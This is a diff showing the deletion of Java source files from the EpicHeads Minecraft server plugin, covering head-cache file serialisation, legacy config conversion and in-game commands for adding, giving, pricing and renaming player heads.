throw new UnsupportedOperationException("Unknown mods file version " + header.getVersion());
}
}
private static ModsFile readVersion2(ObjectInputStream stream) throws IOException {
int modCount = stream.readInt();
List<Mod> mods = new ArrayList<>(modCount);
for (int index = 0; index < modCount; ++index) {
int modTypeId = stream.readInt();
Mod.ModType modType = Mod.ModType.getById(modTypeId);
if (modType == null)
throw new UnsupportedOperationException("Unknown mod type " + modTypeId);
mods.add(modType.read(stream));
}
return new ModsFile(mods);
}
private static ModsFile readVersion1(ObjectInputStream stream) throws IOException {
int addonCount = stream.readInt();
List<Mod> addons = new ArrayList<>(addonCount);
for (int index = 0; index < addonCount; ++index) {
addons.add(CacheFile.read(stream));
}
return new ModsFile(addons);
}
}

View File

@ -1,82 +0,0 @@
package com.songoda.epicheads.cache;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.util.IOUtils;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashSet;
import java.util.Set;
import java.util.zip.GZIPInputStream;
public class ModsFileHeader {
private final int version;
private final Set<String> modNames = new HashSet<>();
public ModsFileHeader(Set<String> modNames) {
this(2, modNames);
}
public ModsFileHeader(int version, Set<String> modNames) {
this.version = version;
this.modNames.addAll(modNames);
}
public int getVersion() {
return version;
}
public Set<String> getModNames() {
return modNames;
}
public int getUninstalledMods(CacheFile cache) {
int newMods = 0;
for (String mod : modNames) {
if (cache.hasMod(mod))
continue;
++newMods;
}
return newMods;
}
public void write(ObjectOutputStream stream) throws IOException {
stream.writeInt(2);
IOUtils.writeStringSet(stream, modNames);
}
public static ModsFileHeader readResource(String resource) throws IOException {
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
return readCompressed(stream);
}
}
public static ModsFileHeader readCompressed(InputStream is) throws IOException {
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
return read(stream);
}
}
public static ModsFileHeader read(ObjectInputStream stream) throws IOException {
int version = stream.readInt();
switch (version) {
case 2:
case 1:
Set<String> modNames = IOUtils.readStringSet(stream);
return new ModsFileHeader(version, modNames);
default:
throw new UnsupportedOperationException("Unknown mods file version " + version);
}
}
}

View File

@ -1,127 +0,0 @@
package com.songoda.epicheads.cache;
import com.songoda.epicheads.EpicHeads;
import java.io.*;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public class PatchFile implements Mod {
private final String name;
private final List<HeadPatch> patches = new ArrayList<>();
public PatchFile(String name) {
this(name, Collections.emptyList());
}
public PatchFile(String name, List<HeadPatch> patches) {
this.name = name;
this.patches.addAll(patches);
}
@Override
public String getName() {
return name;
}
@Override
public Mod.ModType getType() {
return ModType.PATCH;
}
public int getPatchCount() {
return patches.size();
}
public void addPatch(HeadPatch patch) {
patches.add(patch);
}
@Override
public void applyMod(CacheFile cache) {
for (HeadPatch patch : patches) {
patch.applyPatch(cache);
}
}
@Override
public String toString() {
return getType() + " {name: \"" + name + "\", patchCount: " + getPatchCount() + "}";
}
public void write(File file) throws IOException {
if (file.isDirectory())
throw new IOException("File " + file + " is a directory");
if (!file.exists() && !file.createNewFile())
throw new IOException("Unable to create file " + file);
try (FileOutputStream stream = new FileOutputStream(file)) {
writeCompressed(stream);
}
}
public void writeCompressed(OutputStream os) throws IOException {
try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) {
write(stream);
stream.flush();
}
}
@Override
public void write(ObjectOutputStream stream) throws IOException {
stream.writeInt(2);
stream.writeUTF(name);
stream.writeInt(patches.size());
for (HeadPatch patch : patches) {
patch.write(stream);
}
}
public static PatchFile read(File file) throws IOException {
if (file.isDirectory())
throw new IOException("File " + file + " is a directory");
if (!file.exists())
throw new IOException("File " + file + " does not exist");
try (FileInputStream stream = new FileInputStream(file)) {
return readCompressed(stream);
}
}
public static PatchFile readResource(String resource) throws IOException {
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
return readCompressed(stream);
}
}
public static PatchFile readCompressed(InputStream is) throws IOException {
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
return read(stream);
}
}
public static PatchFile read(ObjectInputStream stream) throws IOException {
int version = stream.readInt();
String name = stream.readUTF();
int patchCount = stream.readInt();
List<HeadPatch> patches = new ArrayList<>(patchCount);
for (int index = 0; index < patchCount; ++index) {
patches.add(HeadPatch.read(version, stream));
}
return new PatchFile(name, patches);
}
}

View File

@ -1,39 +0,0 @@
package com.songoda.epicheads.cache.legacy;
import com.songoda.epicheads.cache.CacheFile;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.DefaultsConfigFile;
import java.io.File;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;
public class CacheFileConverter {
public static CacheFile convertToCacheFile(String name, LegacyCacheConfig config) {
Set<String> addons = new HashSet<>(config.getAddons());
addons.add("original");
List<CacheHead> heads = config.getHeads().stream().map(CacheFileConverter::convertToCacheHead).collect(Collectors.toList());
return new CacheFile(name, addons, heads);
}
public static CacheHead convertToCacheHead(LegacyCachedHead head) {
int id = head.getId();
String name = head.getName();
String texture = head.getTexture();
String category = head.getCategory();
List<String> tags = Arrays.asList(head.getTags());
double cost = head.getCost();
return new CacheHead(id, name, category, texture, tags, cost);
}
public static void convertResource(String name, String resource, File file) throws IOException {
LegacyCacheConfig addon = new LegacyCacheConfig(new DefaultsConfigFile(resource));
convertToCacheFile(name, addon).write(file);
}
}

View File

@ -1,64 +0,0 @@
package com.songoda.epicheads.cache.legacy;
import com.songoda.epicheads.config.ConfigFile;
import org.bukkit.configuration.ConfigurationSection;
import java.util.*;
public class LegacyCacheConfig {
private final ConfigFile configFile;
private List<LegacyCachedHead> heads = new ArrayList<>();
private Set<String> addons = new HashSet<>();
public LegacyCacheConfig(ConfigFile configFile) {
this.configFile = configFile;
reload();
}
public Set<String> getAddons() {
return addons;
}
public List<LegacyCachedHead> getHeads() {
return Collections.unmodifiableList(heads);
}
public void reload() {
this.configFile.copyDefaults();
this.configFile.reload();
ConfigurationSection config = this.configFile.getConfig();
this.addons = new HashSet<>(config.getStringList("addons"));
this.heads.clear();
// Load all the heads from the legacy config file
int maxId = 0;
for (String key : config.getKeys(false)) {
if (!config.isConfigurationSection(key))
continue;
LegacyCachedHead head = new LegacyCachedHead();
head.load(config.getConfigurationSection(key));
if (!head.isValid())
continue;
heads.add(head);
maxId = Math.max(maxId, head.getId());
}
// Give IDs to heads that need them
for (LegacyCachedHead head : heads) {
if (!head.hasId()) {
head.setId(++maxId);
}
}
}
}

View File

@ -1,68 +0,0 @@
package com.songoda.epicheads.cache.legacy;
import org.bukkit.configuration.ConfigurationSection;
public class LegacyCachedHead {
private int id = -1;
private String category = "";
private String name = "";
private String texture = "";
private String[] tags = {};
private double cost = -1;
public boolean isValid() {
return !this.name.isEmpty();
}
public boolean hasId() {
return this.id > 0;
}
public int getId() {
return this.id;
}
protected void setId(int id) {
this.id = id;
}
public String getCategory() {
return this.category;
}
public String getName() {
return this.name;
}
public String getTexture() {
return this.texture;
}
public String[] getTags() {
return this.tags;
}
public double getCost() {
return cost;
}
public void setCategory(String category) {
this.category = category;
}
public void load(ConfigurationSection section) {
this.id = section.getInt("id", -1);
this.category = section.getString("category", "none");
this.name = section.getString("name", "");
this.texture = section.getString("texture", "");
this.cost = section.getDouble("cost", -1d);
if(section.isSet("tags") && section.isString("tags")) {
this.tags = new String[] {section.getString("tags")};
} else if(section.isSet("tags") && section.isList("tags")) {
this.tags = section.getStringList("tags").toArray(new String[0]);
}
}
}

View File

@ -1,41 +0,0 @@
package com.songoda.epicheads.command;
import com.songoda.epicheads.EpicHeads;
import org.bukkit.command.CommandSender;
public abstract class AbstractCommand {
public enum ReturnType { SUCCESS, FAILURE, SYNTAX_ERROR, NO_CONSOLE }
private final AbstractCommand parent;
private final String command;
private final boolean noConsole;
protected AbstractCommand(String command, AbstractCommand parent, boolean noConsole) {
this.command = command;
this.parent = parent;
this.noConsole = noConsole;
}
public AbstractCommand getParent() {
return parent;
}
public String getCommand() {
return command;
}
public boolean isNoConsole() {
return noConsole;
}
protected abstract ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args);
public abstract String getPermissionNode();
public abstract String getSyntax();
public abstract String getDescription();
}

View File

@ -1,88 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.volatilecode.TextureGetter;
import org.bukkit.command.CommandSender;
public class CommandAdd extends AbstractCommand {
public CommandAdd(AbstractCommand parent) {
super("add", parent, false);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
//ToDO: Test to make sure this works.
if (args.length < 3) {
return ReturnType.SYNTAX_ERROR;
}
final String playerName = args[1];
final String category = args[2];
final String name;
if (args.length > 3) {
StringBuilder nameBuilder = new StringBuilder();
for (int i = 3; i < args.length; i++) {
nameBuilder.append(' ');
nameBuilder.append(args[i]);
}
name = nameBuilder.toString().substring(1);
} else {
name = playerName;
}
if (category.length() > 32) {
String[] parts = instance.getLocale().getMessage("command.add.categorylength", category, category.length()).split("\\|");
for (String line : parts)
sender.sendMessage(line);
return ReturnType.FAILURE;
}
String texture = TextureGetter.getCachedTexture(playerName);
if (texture != null) {
add(instance, sender, category, name, playerName, texture);
} else {
sender.sendMessage(instance.getLocale().getMessage("command.add.fetching"));
TextureGetter.getTexture(playerName, (resolvedTexture) ->
add(instance, sender, category, name, playerName, resolvedTexture));
}
return ReturnType.SUCCESS;
}
public void add(EpicHeads instance, CommandSender sender, String category, String name, String playerName, String texture) {
if (texture == null || texture.isEmpty()) {
String[] parts = instance.getLocale().getMessage("command.add.cantfind", playerName).split("\\|");
for (String line : parts)
sender.sendMessage(line);
return;
}
CacheHead head = new CacheHead(name, category, texture);
instance.getCache().addHead(head);
instance.saveCache();
sender.sendMessage(instance.getLocale().getMessage("command.add.added", name, category));
}
@Override
public String getPermissionNode() {
return "epicheads.add";
}
@Override
public String getSyntax() {
return "/heads add <player-name> <category> [head name]";
}
@Override
public String getDescription() {
return "Add a new head to the menu.";
}
}

View File

@ -1,57 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.oldmenu.mode.CategoryCostMode;
import com.songoda.epicheads.oldmenu.mode.InvModeType;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public class CommandCategoryCost extends AbstractCommand {
public CommandCategoryCost(AbstractCommand parent) {
super("remove", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length != 2) {
return ReturnType.SYNTAX_ERROR;
}
if (args[1].equalsIgnoreCase("reset")) {
InvModeType.CATEGORY_COST_REMOVE.open((Player) sender);
return ReturnType.SUCCESS;
}
//ToDo: Gross...
double cost;
try {
cost = Double.valueOf(args[1]);
} catch (NumberFormatException e) {
sender.sendMessage(instance.getLocale().getMessage("command.error.number", args[1]));
return ReturnType.FAILURE;
}
if (cost < 0) {
sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[1]));
return ReturnType.FAILURE;
}
InvModeType.CATEGORY_COST.open((Player) sender).asType(CategoryCostMode.class).setCost(cost);
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.category-cost";
}
@Override
public String getSyntax() {
return "/heads categorycost <reset/new cost>";
}
@Override
public String getDescription() {
return "Set heads costs by category.";
}
}

View File

@ -1,53 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.oldmenu.mode.CostMode;
import com.songoda.epicheads.oldmenu.mode.InvModeType;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public class CommandCost extends AbstractCommand {
public CommandCost(AbstractCommand parent) {
super("cost", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length != 2) {
return ReturnType.SYNTAX_ERROR;
}
double cost;
try { //ToDo: This is so gross.
cost = Double.valueOf(args[1]);
} catch (NumberFormatException e) {
sender.sendMessage(instance.getLocale().getMessage("command.error.number", args[1]));
return ReturnType.FAILURE;
}
if (cost < 0) {
sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[1]));
return ReturnType.FAILURE;
}
InvModeType.COST.open((Player) sender).asType(CostMode.class).setCost(cost);
//ToDo: Should probably be some form of success message.
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.id";
}
@Override
public String getSyntax() {
return "/heads cost <new cost>";
}
@Override
public String getDescription() {
return "Set a heads cost in the menu.";
}
}

View File

@ -1,73 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.volatilecode.TextureGetter;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import java.util.UUID;
public class CommandGet extends AbstractCommand {
public CommandGet(AbstractCommand parent) {
super("get", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length != 2) {
return ReturnType.SYNTAX_ERROR;
}
String texture = TextureGetter.getCachedTexture(args[1]);
if (texture != null) {
giveHead(instance, (Player) sender, args[1], texture);
return ReturnType.SUCCESS;
}
sender.sendMessage(instance.getLocale().getMessage("command.add.fetching"));
final UUID uuid = ((Player) sender).getUniqueId();
final String name = args[1];
TextureGetter.getTexture(name, (resolvedTexture) -> {
giveHead(instance, Bukkit.getPlayer(uuid), name, resolvedTexture);
});
return ReturnType.SUCCESS;
}
private void giveHead(EpicHeads instance, Player player, String name, String texture) {
if (player != null) {
if (texture == null || texture.isEmpty()) {
player.sendMessage(instance.getLocale().getMessage("command.give.cantfindhead", name));
return;
}
CacheHead head = new CacheHead(name, "getcommand", texture);
player.sendMessage(instance.getLocale().getMessage("command.get.success", name));
player.getInventory().addItem(head.getItemStack());
player.updateInventory();
}
}
@Override
public String getPermissionNode() {
return "epicheads.get";
}
@Override
public String getSyntax() {
return "/heads get <player name>";
}
@Override
public String getDescription() {
return "Get a players head.";
}
}

View File

@ -1,89 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.command.AbstractCommand;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Item;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
public class CommandGive extends AbstractCommand {
public CommandGive(AbstractCommand parent) {
super("give", parent, false);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length != 4) {
return ReturnType.SYNTAX_ERROR;
}
//ToDO: This is gross.
int id;
try {
id = Integer.valueOf(args[1]);
} catch (NumberFormatException e) {
sender.sendMessage(instance.getLocale().getMessage("command.error.integer", args[1]));
return ReturnType.FAILURE;
}
int amount;
try {
amount = Integer.valueOf(args[3]);
} catch (NumberFormatException e) {
sender.sendMessage(instance.getLocale().getMessage("command.give.invalidamount", args[3]));
return ReturnType.FAILURE;
}
if (amount <= 0) {
sender.sendMessage(instance.getLocale().getMessage("command.give.invalidamount", args[3]));
}
Player player = Bukkit.getPlayer(args[2]);
if (player == null || !player.isOnline()) {
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[2]));
return ReturnType.FAILURE;
}
CacheHead head = EpicHeads.getInstance().getCache().findHead(id);
if (head == null) {
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindhead", id));
return ReturnType.FAILURE;
}
ItemStack headItem = head.getItemStack();
for (int i = 0; i < amount; i++) {
if (player.getInventory().firstEmpty() != -1) {
player.getInventory().addItem(headItem.clone());
} else {
Item item = player.getWorld().dropItemNaturally(player.getEyeLocation(), headItem.clone());
item.setPickupDelay(0);
}
}
sender.sendMessage(instance.getLocale().getMessage("command.give.success", amount, head.getName(), player.getName()));
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.give";
}
@Override
public String getSyntax() {
return "/heads itemeco give <player> [amount]";
}
@Override
public String getDescription() {
return "Give the economy item to a player.";
}
}

View File

@ -1,111 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.volatilecode.ItemNBT;
import com.songoda.epicheads.volatilecode.Items;
import com.songoda.epicheads.volatilecode.TextureGetter;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.SkullMeta;
public class CommandHand extends AbstractCommand {
public CommandHand(AbstractCommand parent) {
super("hand", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length < 3) {
return ReturnType.SYNTAX_ERROR;
}
StringBuilder nameBuilder = new StringBuilder();
for (int i = 2; i < args.length; i++) {
nameBuilder.append(' ');
nameBuilder.append(args[i]);
}
String name = nameBuilder.toString().substring(1);
String category = args[1];
if (category.length() > 32) {
String[] parts = instance.getLocale().getMessage("command.add.categorylength", category, category.length()).split("\\|");
for (String line : parts)
sender.sendMessage(line);
return ReturnType.FAILURE;
}
Player player = (Player) sender;
ItemStack hand = player.getInventory().getItemInHand();
if (!Items.isSkull(hand)) {
sender.sendMessage(instance.getLocale().getMessage("&cYou need to have a player skull in your hand to get its texture"));
return ReturnType.FAILURE;
}
String texture = ItemNBT.getTextureProperty(hand);
if (texture == null || texture.isEmpty()) {
sender.sendMessage(instance.getLocale().getMessage("command.hand.notextureproperty"));
SkullMeta meta = (SkullMeta) hand.getItemMeta();
@SuppressWarnings("deprecation")
final String owner = meta.getOwner();
if (owner == null || owner.isEmpty()) {
sender.sendMessage(instance.getLocale().getMessage("command.hand.nonameproperty"));
return ReturnType.FAILURE;
}
texture = TextureGetter.getCachedTexture(owner);
if (texture == null || texture.isEmpty()) {
sender.sendMessage(instance.getLocale().getMessage("command.add.fetching"));
TextureGetter.getTexture(owner, (resolvedTexture) -> {
if (resolvedTexture == null || resolvedTexture.isEmpty()) {
sender.sendMessage(instance.getLocale().getMessage("command.add.cantfind"));
return;
}
add(instance, sender, category, name, resolvedTexture);
});
return ReturnType.SUCCESS;
}
}
add(instance, sender, category, name, texture);
return ReturnType.SUCCESS;
}
public void add(EpicHeads instance, CommandSender sender, String category, String name, String texture) {
CacheHead head = new CacheHead(name, category, texture);
EpicHeads.getInstance().getCache().addHead(head);
EpicHeads.getInstance().saveCache();
sender.sendMessage(instance.getLocale().getMessage("command.add.added", name, category));
}
@Override
public String getPermissionNode() {
return "epicheads.hand";
}
@Override
public String getSyntax() {
return "/heads hand <category> <head name>";
}
@Override
public String getDescription() {
return "Add a new head to the menu.";
}
}

View File

@ -1,43 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.util.Methods;
import org.bukkit.command.CommandSender;
public class CommandHelp extends AbstractCommand {
public CommandHelp(AbstractCommand parent) {
super("help", parent, false);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
sender.sendMessage("");
sender.sendMessage(Methods.formatText(instance.getReferences().getPrefix() + "&7Version " + instance.getDescription().getVersion() + " Created with <3 by &5&l&oBrianna"));
for (AbstractCommand command : instance.getCommandManager().getCommands()) {
if (command.getPermissionNode() == null || sender.hasPermission(command.getPermissionNode())) {
sender.sendMessage(Methods.formatText("&8 - &a" + command.getSyntax() + "&7 - " + command.getDescription()));
}
}
sender.sendMessage("");
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return null;
}
@Override
public String getSyntax() {
return "/heads help";
}
@Override
public String getDescription() {
return "Displays this page.";
}
}

View File

@ -1,61 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.volatilecode.ItemNBT;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
public class CommandId extends AbstractCommand {
public CommandId(AbstractCommand parent) {
super("id", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
Player player = (Player) sender;
if (args.length != 1) {
return ReturnType.SYNTAX_ERROR;
}
ItemStack hand = player.getInventory().getItemInHand();
if (!Items.isSkull(hand)) {
sender.sendMessage(instance.getLocale().getMessage("command.id.holdskull"));
return ReturnType.FAILURE;
}
String texture = ItemNBT.getTextureProperty(hand);
CacheHead head = EpicHeads.getInstance().getCache().findHeadByTexture(texture);
if (head == null) {
ItemMeta meta = hand.getItemMeta();
String name = ChatColor.stripColor(meta.hasDisplayName() ? meta.getDisplayName() : "");
sender.sendMessage(instance.getLocale().getMessage("command.id.unknownhead", name));
return ReturnType.FAILURE;
}
sender.sendMessage(instance.getLocale().getMessage("command.id.success", head.getName(), head.getId()));
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.id";
}
@Override
public String getSyntax() {
return "/heads id";
}
@Override
public String getDescription() {
return "Get the ID for a player head.";
}
}

View File

@ -1,157 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.menu.ui.item.Item;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import sun.management.Sensor;
public class CommandItemEco extends AbstractCommand {
public CommandItemEco(AbstractCommand parent) {
super("itemeco", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length < 2) {
return ReturnType.SYNTAX_ERROR;
}
if (args[1].equalsIgnoreCase("give")) {
return onGiveCommand(instance, sender, args);
}
Player player = (Player) sender; //ToDo: This is wrong.
if (args[1].equalsIgnoreCase("set")) {
return onSetCommand(instance, player, args);
}
if (args[1].equalsIgnoreCase("get")) {
return onGetCommand(instance, player, args);
}
return ReturnType.SYNTAX_ERROR;
}
private ReturnType onSetCommand(EpicHeads instance, Player player, String[] args) {
if (args.length != 2) {
return ReturnType.SYNTAX_ERROR;
}
@SuppressWarnings("deprecation")
// Had to do this to resolve the compatibility issue with 1.13.
ItemStack itemStack = player.getInventory().getItemInHand();
if (itemStack == null) {
player.sendMessage(instance.getLocale().getMessage("command.itemeco.noitem"));
return ReturnType.FAILURE;
}
Item item = Item.create(itemStack).amount(1);
EpicHeads.getInstance().getMainConfig().setItemEcoItem(item);
player.sendMessage(instance.getLocale().getMessage("command.itemeco.set"));
return ReturnType.SUCCESS;
}
private ReturnType onGetCommand(EpicHeads instance, Player player, String[] args) {
if (args.length != 2 && args.length != 3) {
return ReturnType.SYNTAX_ERROR;
}
int amount = 1;
if (args.length == 3) {
try {
amount = Integer.valueOf(args[2]);
} catch (NumberFormatException e) {
player.sendMessage(instance.getLocale().getMessage("command.error.integer", args[2]));
return ReturnType.FAILURE;
}
if (amount < 1) {
player.sendMessage(instance.getLocale().getMessage("command.error.negative", args[2]));
return ReturnType.FAILURE;
}
}
giveTokens(player, amount);
player.sendMessage(instance.getLocale().getMessage("command.itemeco.get", amount));
return ReturnType.SUCCESS;
}
private ReturnType onGiveCommand(EpicHeads instance, CommandSender sender, String[] args) {
if (args.length != 3 && args.length != 4) {
return ReturnType.SYNTAX_ERROR;
}
int amount = 1;
if (args.length == 4) {
try {
amount = Integer.valueOf(args[3]);
} catch (NumberFormatException e) {
sender.sendMessage(instance.getLocale().getMessage("command.error.integer", args[3]));
return ReturnType.FAILURE;
}
if (amount < 1) {
sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[3]));
return ReturnType.FAILURE;
}
}
Player player = Bukkit.getPlayer(args[2]);
if (player == null) {
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[2]));
return ReturnType.FAILURE;
}
giveTokens(player, amount);
player.sendMessage(instance.getLocale().getMessage("command.itemeco.get", amount));
sender.sendMessage(instance.getLocale().getMessage("command.itemeco.given", amount).replace("%player%",player.getDisplayName()));
return ReturnType.SUCCESS;
}
private void giveTokens(Player player, int amount) {
while (amount > 0) {
int giveAmount = Math.min(64, amount);
amount -= giveAmount;
ItemStack itemStack = EpicHeads.getInstance().getMainConfig().getItemEconomyItem().amount(giveAmount).build();
if (player.getInventory().firstEmpty() != -1) {
player.getInventory().addItem(itemStack);
} else {
org.bukkit.entity.Item item = player.getWorld().dropItemNaturally(player.getEyeLocation(), itemStack);
item.setPickupDelay(0);
}
}
}
@Override
public String getPermissionNode() {
return "epicheads.item-eco";
}
@Override
public String getSyntax() {
return "/heads itemeco <get/set/give>";
}
@Override
public String getDescription() {
return "Manage the item economy.";
}
}

View File

@ -1,73 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.command.AbstractCommand;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import java.util.Random;
public class CommandRandom extends AbstractCommand {
private static final Random RANDOM = new Random();
public CommandRandom(AbstractCommand parent) {
super("random", parent, false);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length != 1 && args.length != 2) {
return ReturnType.SYNTAX_ERROR;
}
if (EpicHeads.getInstance().getCache().getHeadCount() == 0) {
sender.sendMessage(instance.getLocale().getMessage("command.random.noheads"));
return ReturnType.FAILURE;
}
CacheHead random = EpicHeads.getInstance().getCache().getRandomHead(RANDOM);
if (args.length == 1) {
if (!(sender instanceof Player)) {
return ReturnType.NO_CONSOLE;
}
sender.sendMessage(instance.getLocale().getMessage("command.random.self", random));
((Player) sender).getInventory().addItem(random.getItemStack());
return ReturnType.SUCCESS;
}
Player player = Bukkit.getPlayer(args[1]);
if (player == null) {
sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[1]));
return ReturnType.FAILURE;
}
player.sendMessage(instance.getLocale().getMessage("command.random.give", random));
sender.sendMessage(instance.getLocale().getMessage("command.give.success", 1, random, player));
player.getInventory().addItem(random.getItemStack());
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.random";
}
@Override
public String getSyntax() {
return "/heads random [player]";
}
@Override
public String getDescription() {
return "RGet or give a random head.";
}
}

View File

@ -1,38 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
import org.bukkit.command.CommandSender;
public class CommandReload extends AbstractCommand {
public CommandReload(AbstractCommand parent) {
super("reload", parent, false);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length != 1) return ReturnType.SYNTAX_ERROR;
EpicHeads.getInstance().reloadConfigs();
sender.sendMessage(instance.getLocale().getMessage("command.reload.success"));
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.reload";
}
@Override
public String getSyntax() {
return "/heads reload";
}
@Override
public String getDescription() {
return "Reload the Heads config files.";
}
}

View File

@ -1,39 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.oldmenu.mode.InvModeType;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public class CommandRemove extends AbstractCommand {
public CommandRemove(AbstractCommand parent) {
super("remove", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length != 1) {
return ReturnType.SYNTAX_ERROR;
}
//ToDo: Should be some kind of success message.
InvModeType.REMOVE.open((Player) sender);
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.remove";
}
@Override
public String getSyntax() {
return "/heads remove";
}
@Override
public String getDescription() {
return "Remove a head in the menu.";
}
}

View File

@ -1,53 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
import com.songoda.epicheads.oldmenu.mode.InvModeType;
import com.songoda.epicheads.oldmenu.mode.RenameMode;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public class CommandRename extends AbstractCommand {
public CommandRename(AbstractCommand parent) {
super("rename", parent, true);
}
@Override
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
if (args.length <= 1) {
return ReturnType.SYNTAX_ERROR;
}
StringBuilder builder = new StringBuilder();
for (int i = 1; i < args.length; i++) {
if (i != 1) {
builder.append(' ');
}
builder.append(args[i]);
}
String name = builder.toString();
InvModeType.RENAME.open((Player) sender).asType(RenameMode.class).setName(name);
return ReturnType.SUCCESS;
}
@Override
public String getPermissionNode() {
return "epicheads.rename";
}
@Override
public String getSyntax() {
return "/heads rename <new name>";
}
@Override
public String getDescription() {
return "Rename a head in the menu.";
}
}

View File

@ -1,60 +0,0 @@
package com.songoda.epicheads.command.commands;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.command.AbstractCommand;
